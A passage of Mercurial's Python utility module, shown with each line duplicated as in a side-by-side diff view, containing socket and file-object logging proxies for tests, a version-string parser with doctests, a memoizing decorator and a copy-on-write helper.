611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 bypass ``fileobjectproxy``. Because of this, we need to make
612 bypass ``fileobjectproxy``. Because of this, we need to make
613 ``bufferedinputpipe`` aware of these operations.
613 ``bufferedinputpipe`` aware of these operations.
614
614
615 This variation of ``bufferedinputpipe`` can notify observers about
615 This variation of ``bufferedinputpipe`` can notify observers about
616 ``os.read()`` events. It also re-publishes other events, such as
616 ``os.read()`` events. It also re-publishes other events, such as
617 ``read()`` and ``readline()``.
617 ``read()`` and ``readline()``.
618 """
618 """
619
619
620 def _fillbuffer(self):
620 def _fillbuffer(self):
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622
622
623 fn = getattr(self._input._observer, 'osread', None)
623 fn = getattr(self._input._observer, 'osread', None)
624 if fn:
624 if fn:
625 fn(res, _chunksize)
625 fn(res, _chunksize)
626
626
627 return res
627 return res
628
628
629 # We use different observer methods because the operation isn't
629 # We use different observer methods because the operation isn't
630 # performed on the actual file object but on us.
630 # performed on the actual file object but on us.
631 def read(self, size):
631 def read(self, size):
632 res = super(observedbufferedinputpipe, self).read(size)
632 res = super(observedbufferedinputpipe, self).read(size)
633
633
634 fn = getattr(self._input._observer, 'bufferedread', None)
634 fn = getattr(self._input._observer, 'bufferedread', None)
635 if fn:
635 if fn:
636 fn(res, size)
636 fn(res, size)
637
637
638 return res
638 return res
639
639
640 def readline(self, *args, **kwargs):
640 def readline(self, *args, **kwargs):
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642
642
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 if fn:
644 if fn:
645 fn(res)
645 fn(res)
646
646
647 return res
647 return res
648
648
649
649
650 PROXIED_SOCKET_METHODS = {
650 PROXIED_SOCKET_METHODS = {
651 'makefile',
651 'makefile',
652 'recv',
652 'recv',
653 'recvfrom',
653 'recvfrom',
654 'recvfrom_into',
654 'recvfrom_into',
655 'recv_into',
655 'recv_into',
656 'send',
656 'send',
657 'sendall',
657 'sendall',
658 'sendto',
658 'sendto',
659 'setblocking',
659 'setblocking',
660 'settimeout',
660 'settimeout',
661 'gettimeout',
661 'gettimeout',
662 'setsockopt',
662 'setsockopt',
663 }
663 }
664
664
665
665
666 class socketproxy(object):
666 class socketproxy(object):
667 """A proxy around a socket that tells a watcher when events occur.
667 """A proxy around a socket that tells a watcher when events occur.
668
668
669 This is like ``fileobjectproxy`` except for sockets.
669 This is like ``fileobjectproxy`` except for sockets.
670
670
671 This type is intended to only be used for testing purposes. Think hard
671 This type is intended to only be used for testing purposes. Think hard
672 before using it in important code.
672 before using it in important code.
673 """
673 """
674
674
675 __slots__ = (
675 __slots__ = (
676 '_orig',
676 '_orig',
677 '_observer',
677 '_observer',
678 )
678 )
679
679
680 def __init__(self, sock, observer):
680 def __init__(self, sock, observer):
681 object.__setattr__(self, '_orig', sock)
681 object.__setattr__(self, '_orig', sock)
682 object.__setattr__(self, '_observer', observer)
682 object.__setattr__(self, '_observer', observer)
683
683
684 def __getattribute__(self, name):
684 def __getattribute__(self, name):
685 if name in PROXIED_SOCKET_METHODS:
685 if name in PROXIED_SOCKET_METHODS:
686 return object.__getattribute__(self, name)
686 return object.__getattribute__(self, name)
687
687
688 return getattr(object.__getattribute__(self, '_orig'), name)
688 return getattr(object.__getattribute__(self, '_orig'), name)
689
689
690 def __delattr__(self, name):
690 def __delattr__(self, name):
691 return delattr(object.__getattribute__(self, '_orig'), name)
691 return delattr(object.__getattribute__(self, '_orig'), name)
692
692
693 def __setattr__(self, name, value):
693 def __setattr__(self, name, value):
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695
695
696 def __nonzero__(self):
696 def __nonzero__(self):
697 return bool(object.__getattribute__(self, '_orig'))
697 return bool(object.__getattribute__(self, '_orig'))
698
698
699 __bool__ = __nonzero__
699 __bool__ = __nonzero__
700
700
701 def _observedcall(self, name, *args, **kwargs):
701 def _observedcall(self, name, *args, **kwargs):
702 # Call the original object.
702 # Call the original object.
703 orig = object.__getattribute__(self, '_orig')
703 orig = object.__getattribute__(self, '_orig')
704 res = getattr(orig, name)(*args, **kwargs)
704 res = getattr(orig, name)(*args, **kwargs)
705
705
706 # Call a method on the observer of the same name with arguments
706 # Call a method on the observer of the same name with arguments
707 # so it can react, log, etc.
707 # so it can react, log, etc.
708 observer = object.__getattribute__(self, '_observer')
708 observer = object.__getattribute__(self, '_observer')
709 fn = getattr(observer, name, None)
709 fn = getattr(observer, name, None)
710 if fn:
710 if fn:
711 fn(res, *args, **kwargs)
711 fn(res, *args, **kwargs)
712
712
713 return res
713 return res
714
714
715 def makefile(self, *args, **kwargs):
715 def makefile(self, *args, **kwargs):
716 res = object.__getattribute__(self, '_observedcall')(
716 res = object.__getattribute__(self, '_observedcall')(
717 'makefile', *args, **kwargs
717 'makefile', *args, **kwargs
718 )
718 )
719
719
720 # The file object may be used for I/O. So we turn it into a
720 # The file object may be used for I/O. So we turn it into a
721 # proxy using our observer.
721 # proxy using our observer.
722 observer = object.__getattribute__(self, '_observer')
722 observer = object.__getattribute__(self, '_observer')
723 return makeloggingfileobject(
723 return makeloggingfileobject(
724 observer.fh,
724 observer.fh,
725 res,
725 res,
726 observer.name,
726 observer.name,
727 reads=observer.reads,
727 reads=observer.reads,
728 writes=observer.writes,
728 writes=observer.writes,
729 logdata=observer.logdata,
729 logdata=observer.logdata,
730 logdataapis=observer.logdataapis,
730 logdataapis=observer.logdataapis,
731 )
731 )
732
732
733 def recv(self, *args, **kwargs):
733 def recv(self, *args, **kwargs):
734 return object.__getattribute__(self, '_observedcall')(
734 return object.__getattribute__(self, '_observedcall')(
735 'recv', *args, **kwargs
735 'recv', *args, **kwargs
736 )
736 )
737
737
738 def recvfrom(self, *args, **kwargs):
738 def recvfrom(self, *args, **kwargs):
739 return object.__getattribute__(self, '_observedcall')(
739 return object.__getattribute__(self, '_observedcall')(
740 'recvfrom', *args, **kwargs
740 'recvfrom', *args, **kwargs
741 )
741 )
742
742
743 def recvfrom_into(self, *args, **kwargs):
743 def recvfrom_into(self, *args, **kwargs):
744 return object.__getattribute__(self, '_observedcall')(
744 return object.__getattribute__(self, '_observedcall')(
745 'recvfrom_into', *args, **kwargs
745 'recvfrom_into', *args, **kwargs
746 )
746 )
747
747
748 def recv_into(self, *args, **kwargs):
748 def recv_into(self, *args, **kwargs):
749 return object.__getattribute__(self, '_observedcall')(
749 return object.__getattribute__(self, '_observedcall')(
750 'recv_info', *args, **kwargs
750 'recv_info', *args, **kwargs
751 )
751 )
752
752
753 def send(self, *args, **kwargs):
753 def send(self, *args, **kwargs):
754 return object.__getattribute__(self, '_observedcall')(
754 return object.__getattribute__(self, '_observedcall')(
755 'send', *args, **kwargs
755 'send', *args, **kwargs
756 )
756 )
757
757
758 def sendall(self, *args, **kwargs):
758 def sendall(self, *args, **kwargs):
759 return object.__getattribute__(self, '_observedcall')(
759 return object.__getattribute__(self, '_observedcall')(
760 'sendall', *args, **kwargs
760 'sendall', *args, **kwargs
761 )
761 )
762
762
763 def sendto(self, *args, **kwargs):
763 def sendto(self, *args, **kwargs):
764 return object.__getattribute__(self, '_observedcall')(
764 return object.__getattribute__(self, '_observedcall')(
765 'sendto', *args, **kwargs
765 'sendto', *args, **kwargs
766 )
766 )
767
767
768 def setblocking(self, *args, **kwargs):
768 def setblocking(self, *args, **kwargs):
769 return object.__getattribute__(self, '_observedcall')(
769 return object.__getattribute__(self, '_observedcall')(
770 'setblocking', *args, **kwargs
770 'setblocking', *args, **kwargs
771 )
771 )
772
772
773 def settimeout(self, *args, **kwargs):
773 def settimeout(self, *args, **kwargs):
774 return object.__getattribute__(self, '_observedcall')(
774 return object.__getattribute__(self, '_observedcall')(
775 'settimeout', *args, **kwargs
775 'settimeout', *args, **kwargs
776 )
776 )
777
777
778 def gettimeout(self, *args, **kwargs):
778 def gettimeout(self, *args, **kwargs):
779 return object.__getattribute__(self, '_observedcall')(
779 return object.__getattribute__(self, '_observedcall')(
780 'gettimeout', *args, **kwargs
780 'gettimeout', *args, **kwargs
781 )
781 )
782
782
783 def setsockopt(self, *args, **kwargs):
783 def setsockopt(self, *args, **kwargs):
784 return object.__getattribute__(self, '_observedcall')(
784 return object.__getattribute__(self, '_observedcall')(
785 'setsockopt', *args, **kwargs
785 'setsockopt', *args, **kwargs
786 )
786 )
787
787
788
788
789 class baseproxyobserver(object):
789 class baseproxyobserver(object):
790 def __init__(self, fh, name, logdata, logdataapis):
790 def __init__(self, fh, name, logdata, logdataapis):
791 self.fh = fh
791 self.fh = fh
792 self.name = name
792 self.name = name
793 self.logdata = logdata
793 self.logdata = logdata
794 self.logdataapis = logdataapis
794 self.logdataapis = logdataapis
795
795
796 def _writedata(self, data):
796 def _writedata(self, data):
797 if not self.logdata:
797 if not self.logdata:
798 if self.logdataapis:
798 if self.logdataapis:
799 self.fh.write(b'\n')
799 self.fh.write(b'\n')
800 self.fh.flush()
800 self.fh.flush()
801 return
801 return
802
802
803 # Simple case writes all data on a single line.
803 # Simple case writes all data on a single line.
804 if b'\n' not in data:
804 if b'\n' not in data:
805 if self.logdataapis:
805 if self.logdataapis:
806 self.fh.write(b': %s\n' % stringutil.escapestr(data))
806 self.fh.write(b': %s\n' % stringutil.escapestr(data))
807 else:
807 else:
808 self.fh.write(
808 self.fh.write(
809 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
809 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
810 )
810 )
811 self.fh.flush()
811 self.fh.flush()
812 return
812 return
813
813
814 # Data with newlines is written to multiple lines.
814 # Data with newlines is written to multiple lines.
815 if self.logdataapis:
815 if self.logdataapis:
816 self.fh.write(b':\n')
816 self.fh.write(b':\n')
817
817
818 lines = data.splitlines(True)
818 lines = data.splitlines(True)
819 for line in lines:
819 for line in lines:
820 self.fh.write(
820 self.fh.write(
821 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
821 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
822 )
822 )
823 self.fh.flush()
823 self.fh.flush()
824
824
825
825
826 class fileobjectobserver(baseproxyobserver):
826 class fileobjectobserver(baseproxyobserver):
827 """Logs file object activity."""
827 """Logs file object activity."""
828
828
829 def __init__(
829 def __init__(
830 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
830 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
831 ):
831 ):
832 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
832 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
833 self.reads = reads
833 self.reads = reads
834 self.writes = writes
834 self.writes = writes
835
835
836 def read(self, res, size=-1):
836 def read(self, res, size=-1):
837 if not self.reads:
837 if not self.reads:
838 return
838 return
839 # Python 3 can return None from reads at EOF instead of empty strings.
839 # Python 3 can return None from reads at EOF instead of empty strings.
840 if res is None:
840 if res is None:
841 res = b''
841 res = b''
842
842
843 if size == -1 and res == b'':
843 if size == -1 and res == b'':
844 # Suppress pointless read(-1) calls that return
844 # Suppress pointless read(-1) calls that return
845 # nothing. These happen _a lot_ on Python 3, and there
845 # nothing. These happen _a lot_ on Python 3, and there
846 # doesn't seem to be a better workaround to have matching
846 # doesn't seem to be a better workaround to have matching
847 # Python 2 and 3 behavior. :(
847 # Python 2 and 3 behavior. :(
848 return
848 return
849
849
850 if self.logdataapis:
850 if self.logdataapis:
851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
851 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
852
852
853 self._writedata(res)
853 self._writedata(res)
854
854
855 def readline(self, res, limit=-1):
855 def readline(self, res, limit=-1):
856 if not self.reads:
856 if not self.reads:
857 return
857 return
858
858
859 if self.logdataapis:
859 if self.logdataapis:
860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
860 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
861
861
862 self._writedata(res)
862 self._writedata(res)
863
863
864 def readinto(self, res, dest):
864 def readinto(self, res, dest):
865 if not self.reads:
865 if not self.reads:
866 return
866 return
867
867
868 if self.logdataapis:
868 if self.logdataapis:
869 self.fh.write(
869 self.fh.write(
870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
870 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
871 )
871 )
872
872
873 data = dest[0:res] if res is not None else b''
873 data = dest[0:res] if res is not None else b''
874
874
875 # _writedata() uses "in" operator and is confused by memoryview because
875 # _writedata() uses "in" operator and is confused by memoryview because
876 # characters are ints on Python 3.
876 # characters are ints on Python 3.
877 if isinstance(data, memoryview):
877 if isinstance(data, memoryview):
878 data = data.tobytes()
878 data = data.tobytes()
879
879
880 self._writedata(data)
880 self._writedata(data)
881
881
882 def write(self, res, data):
882 def write(self, res, data):
883 if not self.writes:
883 if not self.writes:
884 return
884 return
885
885
886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
886 # Python 2 returns None from some write() calls. Python 3 (reasonably)
887 # returns the integer bytes written.
887 # returns the integer bytes written.
888 if res is None and data:
888 if res is None and data:
889 res = len(data)
889 res = len(data)
890
890
891 if self.logdataapis:
891 if self.logdataapis:
892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
892 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
893
893
894 self._writedata(data)
894 self._writedata(data)
895
895
896 def flush(self, res):
896 def flush(self, res):
897 if not self.writes:
897 if not self.writes:
898 return
898 return
899
899
900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
900 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
901
901
902 # For observedbufferedinputpipe.
902 # For observedbufferedinputpipe.
903 def bufferedread(self, res, size):
903 def bufferedread(self, res, size):
904 if not self.reads:
904 if not self.reads:
905 return
905 return
906
906
907 if self.logdataapis:
907 if self.logdataapis:
908 self.fh.write(
908 self.fh.write(
909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
909 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
910 )
910 )
911
911
912 self._writedata(res)
912 self._writedata(res)
913
913
914 def bufferedreadline(self, res):
914 def bufferedreadline(self, res):
915 if not self.reads:
915 if not self.reads:
916 return
916 return
917
917
918 if self.logdataapis:
918 if self.logdataapis:
919 self.fh.write(
919 self.fh.write(
920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
920 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
921 )
921 )
922
922
923 self._writedata(res)
923 self._writedata(res)
924
924
925
925
926 def makeloggingfileobject(
926 def makeloggingfileobject(
927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
927 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
928 ):
928 ):
929 """Turn a file object into a logging file object."""
929 """Turn a file object into a logging file object."""
930
930
931 observer = fileobjectobserver(
931 observer = fileobjectobserver(
932 logh,
932 logh,
933 name,
933 name,
934 reads=reads,
934 reads=reads,
935 writes=writes,
935 writes=writes,
936 logdata=logdata,
936 logdata=logdata,
937 logdataapis=logdataapis,
937 logdataapis=logdataapis,
938 )
938 )
939 return fileobjectproxy(fh, observer)
939 return fileobjectproxy(fh, observer)
940
940
941
941
942 class socketobserver(baseproxyobserver):
942 class socketobserver(baseproxyobserver):
943 """Logs socket activity."""
943 """Logs socket activity."""
944
944
945 def __init__(
945 def __init__(
946 self,
946 self,
947 fh,
947 fh,
948 name,
948 name,
949 reads=True,
949 reads=True,
950 writes=True,
950 writes=True,
951 states=True,
951 states=True,
952 logdata=False,
952 logdata=False,
953 logdataapis=True,
953 logdataapis=True,
954 ):
954 ):
955 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
955 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
956 self.reads = reads
956 self.reads = reads
957 self.writes = writes
957 self.writes = writes
958 self.states = states
958 self.states = states
959
959
960 def makefile(self, res, mode=None, bufsize=None):
960 def makefile(self, res, mode=None, bufsize=None):
961 if not self.states:
961 if not self.states:
962 return
962 return
963
963
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965
965
966 def recv(self, res, size, flags=0):
966 def recv(self, res, size, flags=0):
967 if not self.reads:
967 if not self.reads:
968 return
968 return
969
969
970 if self.logdataapis:
970 if self.logdataapis:
971 self.fh.write(
971 self.fh.write(
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 )
973 )
974 self._writedata(res)
974 self._writedata(res)
975
975
976 def recvfrom(self, res, size, flags=0):
976 def recvfrom(self, res, size, flags=0):
977 if not self.reads:
977 if not self.reads:
978 return
978 return
979
979
980 if self.logdataapis:
980 if self.logdataapis:
981 self.fh.write(
981 self.fh.write(
982 b'%s> recvfrom(%d, %d) -> %d'
982 b'%s> recvfrom(%d, %d) -> %d'
983 % (self.name, size, flags, len(res[0]))
983 % (self.name, size, flags, len(res[0]))
984 )
984 )
985
985
986 self._writedata(res[0])
986 self._writedata(res[0])
987
987
988 def recvfrom_into(self, res, buf, size, flags=0):
988 def recvfrom_into(self, res, buf, size, flags=0):
989 if not self.reads:
989 if not self.reads:
990 return
990 return
991
991
992 if self.logdataapis:
992 if self.logdataapis:
993 self.fh.write(
993 self.fh.write(
994 b'%s> recvfrom_into(%d, %d) -> %d'
994 b'%s> recvfrom_into(%d, %d) -> %d'
995 % (self.name, size, flags, res[0])
995 % (self.name, size, flags, res[0])
996 )
996 )
997
997
998 self._writedata(buf[0 : res[0]])
998 self._writedata(buf[0 : res[0]])
999
999
1000 def recv_into(self, res, buf, size=0, flags=0):
1000 def recv_into(self, res, buf, size=0, flags=0):
1001 if not self.reads:
1001 if not self.reads:
1002 return
1002 return
1003
1003
1004 if self.logdataapis:
1004 if self.logdataapis:
1005 self.fh.write(
1005 self.fh.write(
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 )
1007 )
1008
1008
1009 self._writedata(buf[0:res])
1009 self._writedata(buf[0:res])
1010
1010
1011 def send(self, res, data, flags=0):
1011 def send(self, res, data, flags=0):
1012 if not self.writes:
1012 if not self.writes:
1013 return
1013 return
1014
1014
1015 self.fh.write(
1015 self.fh.write(
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 )
1017 )
1018 self._writedata(data)
1018 self._writedata(data)
1019
1019
1020 def sendall(self, res, data, flags=0):
1020 def sendall(self, res, data, flags=0):
1021 if not self.writes:
1021 if not self.writes:
1022 return
1022 return
1023
1023
1024 if self.logdataapis:
1024 if self.logdataapis:
1025 # Returns None on success. So don't bother reporting return value.
1025 # Returns None on success. So don't bother reporting return value.
1026 self.fh.write(
1026 self.fh.write(
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 )
1028 )
1029
1029
1030 self._writedata(data)
1030 self._writedata(data)
1031
1031
1032 def sendto(self, res, data, flagsoraddress, address=None):
1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 if not self.writes:
1033 if not self.writes:
1034 return
1034 return
1035
1035
1036 if address:
1036 if address:
1037 flags = flagsoraddress
1037 flags = flagsoraddress
1038 else:
1038 else:
1039 flags = 0
1039 flags = 0
1040
1040
1041 if self.logdataapis:
1041 if self.logdataapis:
1042 self.fh.write(
1042 self.fh.write(
1043 b'%s> sendto(%d, %d, %r) -> %d'
1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 % (self.name, len(data), flags, address, res)
1044 % (self.name, len(data), flags, address, res)
1045 )
1045 )
1046
1046
1047 self._writedata(data)
1047 self._writedata(data)
1048
1048
1049 def setblocking(self, res, flag):
1049 def setblocking(self, res, flag):
1050 if not self.states:
1050 if not self.states:
1051 return
1051 return
1052
1052
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054
1054
1055 def settimeout(self, res, value):
1055 def settimeout(self, res, value):
1056 if not self.states:
1056 if not self.states:
1057 return
1057 return
1058
1058
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060
1060
1061 def gettimeout(self, res):
1061 def gettimeout(self, res):
1062 if not self.states:
1062 if not self.states:
1063 return
1063 return
1064
1064
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066
1066
1067 def setsockopt(self, res, level, optname, value):
1067 def setsockopt(self, res, level, optname, value):
1068 if not self.states:
1068 if not self.states:
1069 return
1069 return
1070
1070
1071 self.fh.write(
1071 self.fh.write(
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 % (self.name, level, optname, value, res)
1073 % (self.name, level, optname, value, res)
1074 )
1074 )
1075
1075
1076
1076
1077 def makeloggingsocket(
1077 def makeloggingsocket(
1078 logh,
1078 logh,
1079 fh,
1079 fh,
1080 name,
1080 name,
1081 reads=True,
1081 reads=True,
1082 writes=True,
1082 writes=True,
1083 states=True,
1083 states=True,
1084 logdata=False,
1084 logdata=False,
1085 logdataapis=True,
1085 logdataapis=True,
1086 ):
1086 ):
1087 """Turn a socket into a logging socket."""
1087 """Turn a socket into a logging socket."""
1088
1088
1089 observer = socketobserver(
1089 observer = socketobserver(
1090 logh,
1090 logh,
1091 name,
1091 name,
1092 reads=reads,
1092 reads=reads,
1093 writes=writes,
1093 writes=writes,
1094 states=states,
1094 states=states,
1095 logdata=logdata,
1095 logdata=logdata,
1096 logdataapis=logdataapis,
1096 logdataapis=logdataapis,
1097 )
1097 )
1098 return socketproxy(fh, observer)
1098 return socketproxy(fh, observer)
1099
1099
1100
1100
1101 def version():
1101 def version():
1102 """Return version information if available."""
1102 """Return version information if available."""
1103 try:
1103 try:
1104 from . import __version__
1104 from . import __version__
1105
1105
1106 return __version__.version
1106 return __version__.version
1107 except ImportError:
1107 except ImportError:
1108 return b'unknown'
1108 return b'unknown'
1109
1109
1110
1110
1111 def versiontuple(v=None, n=4):
1111 def versiontuple(v=None, n=4):
1112 """Parses a Mercurial version string into an N-tuple.
1112 """Parses a Mercurial version string into an N-tuple.
1113
1113
1114 The version string to be parsed is specified with the ``v`` argument.
1114 The version string to be parsed is specified with the ``v`` argument.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1116
1116
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 returned values:
1118 returned values:
1119
1119
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 >>> versiontuple(v, 2)
1121 >>> versiontuple(v, 2)
1122 (3, 6)
1122 (3, 6)
1123 >>> versiontuple(v, 3)
1123 >>> versiontuple(v, 3)
1124 (3, 6, 1)
1124 (3, 6, 1)
1125 >>> versiontuple(v, 4)
1125 >>> versiontuple(v, 4)
1126 (3, 6, 1, '190-df9b73d2d444')
1126 (3, 6, 1, '190-df9b73d2d444')
1127
1127
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130
1130
1131 >>> v = b'3.6'
1131 >>> v = b'3.6'
1132 >>> versiontuple(v, 2)
1132 >>> versiontuple(v, 2)
1133 (3, 6)
1133 (3, 6)
1134 >>> versiontuple(v, 3)
1134 >>> versiontuple(v, 3)
1135 (3, 6, None)
1135 (3, 6, None)
1136 >>> versiontuple(v, 4)
1136 >>> versiontuple(v, 4)
1137 (3, 6, None, None)
1137 (3, 6, None, None)
1138
1138
1139 >>> v = b'3.9-rc'
1139 >>> v = b'3.9-rc'
1140 >>> versiontuple(v, 2)
1140 >>> versiontuple(v, 2)
1141 (3, 9)
1141 (3, 9)
1142 >>> versiontuple(v, 3)
1142 >>> versiontuple(v, 3)
1143 (3, 9, None)
1143 (3, 9, None)
1144 >>> versiontuple(v, 4)
1144 >>> versiontuple(v, 4)
1145 (3, 9, None, 'rc')
1145 (3, 9, None, 'rc')
1146
1146
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 >>> versiontuple(v, 2)
1148 >>> versiontuple(v, 2)
1149 (3, 9)
1149 (3, 9)
1150 >>> versiontuple(v, 3)
1150 >>> versiontuple(v, 3)
1151 (3, 9, None)
1151 (3, 9, None)
1152 >>> versiontuple(v, 4)
1152 >>> versiontuple(v, 4)
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154
1154
1155 >>> versiontuple(b'4.6rc0')
1155 >>> versiontuple(b'4.6rc0')
1156 (4, 6, None, 'rc0')
1156 (4, 6, None, 'rc0')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 >>> versiontuple(b'.1.2.3')
1159 >>> versiontuple(b'.1.2.3')
1160 (None, None, None, '.1.2.3')
1160 (None, None, None, '.1.2.3')
1161 >>> versiontuple(b'12.34..5')
1161 >>> versiontuple(b'12.34..5')
1162 (12, 34, None, '..5')
1162 (12, 34, None, '..5')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1165 """
1165 """
1166 if not v:
1166 if not v:
1167 v = version()
1167 v = version()
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 if not m:
1169 if not m:
1170 vparts, extra = b'', v
1170 vparts, extra = b'', v
1171 elif m.group(2):
1171 elif m.group(2):
1172 vparts, extra = m.groups()
1172 vparts, extra = m.groups()
1173 else:
1173 else:
1174 vparts, extra = m.group(1), None
1174 vparts, extra = m.group(1), None
1175
1175
1176 assert vparts is not None # help pytype
1176 assert vparts is not None # help pytype
1177
1177
1178 vints = []
1178 vints = []
1179 for i in vparts.split(b'.'):
1179 for i in vparts.split(b'.'):
1180 try:
1180 try:
1181 vints.append(int(i))
1181 vints.append(int(i))
1182 except ValueError:
1182 except ValueError:
1183 break
1183 break
1184 # (3, 6) -> (3, 6, None)
1184 # (3, 6) -> (3, 6, None)
1185 while len(vints) < 3:
1185 while len(vints) < 3:
1186 vints.append(None)
1186 vints.append(None)
1187
1187
1188 if n == 2:
1188 if n == 2:
1189 return (vints[0], vints[1])
1189 return (vints[0], vints[1])
1190 if n == 3:
1190 if n == 3:
1191 return (vints[0], vints[1], vints[2])
1191 return (vints[0], vints[1], vints[2])
1192 if n == 4:
1192 if n == 4:
1193 return (vints[0], vints[1], vints[2], extra)
1193 return (vints[0], vints[1], vints[2], extra)
1194
1194
1195
1195
1196 def cachefunc(func):
1196 def cachefunc(func):
1197 '''cache the result of function calls'''
1197 '''cache the result of function calls'''
1198 # XXX doesn't handle keywords args
1198 # XXX doesn't handle keywords args
1199 if func.__code__.co_argcount == 0:
1199 if func.__code__.co_argcount == 0:
1200 listcache = []
1200 listcache = []
1201
1201
1202 def f():
1202 def f():
1203 if len(listcache) == 0:
1203 if len(listcache) == 0:
1204 listcache.append(func())
1204 listcache.append(func())
1205 return listcache[0]
1205 return listcache[0]
1206
1206
1207 return f
1207 return f
1208 cache = {}
1208 cache = {}
1209 if func.__code__.co_argcount == 1:
1209 if func.__code__.co_argcount == 1:
1210 # we gain a small amount of time because
1210 # we gain a small amount of time because
1211 # we don't need to pack/unpack the list
1211 # we don't need to pack/unpack the list
1212 def f(arg):
1212 def f(arg):
1213 if arg not in cache:
1213 if arg not in cache:
1214 cache[arg] = func(arg)
1214 cache[arg] = func(arg)
1215 return cache[arg]
1215 return cache[arg]
1216
1216
1217 else:
1217 else:
1218
1218
1219 def f(*args):
1219 def f(*args):
1220 if args not in cache:
1220 if args not in cache:
1221 cache[args] = func(*args)
1221 cache[args] = func(*args)
1222 return cache[args]
1222 return cache[args]
1223
1223
1224 return f
1224 return f
1225
1225
1226
1226
1227 class cow(object):
1227 class cow(object):
1228 """helper class to make copy-on-write easier
1228 """helper class to make copy-on-write easier
1229
1229
1230 Call preparewrite before doing any writes.
1230 Call preparewrite before doing any writes.
1231 """
1231 """
1232
1232
1233 def preparewrite(self):
1233 def preparewrite(self):
1234 """call this before writes, return self or a copied new object"""
1234 """call this before writes, return self or a copied new object"""
1235 if getattr(self, '_copied', 0):
1235 if getattr(self, '_copied', 0):
1236 self._copied -= 1
1236 self._copied -= 1
1237 return self.__class__(self)
1237 return self.__class__(self)
1238 return self
1238 return self
1239
1239
1240 def copy(self):
1240 def copy(self):
1241 """always do a cheap copy"""
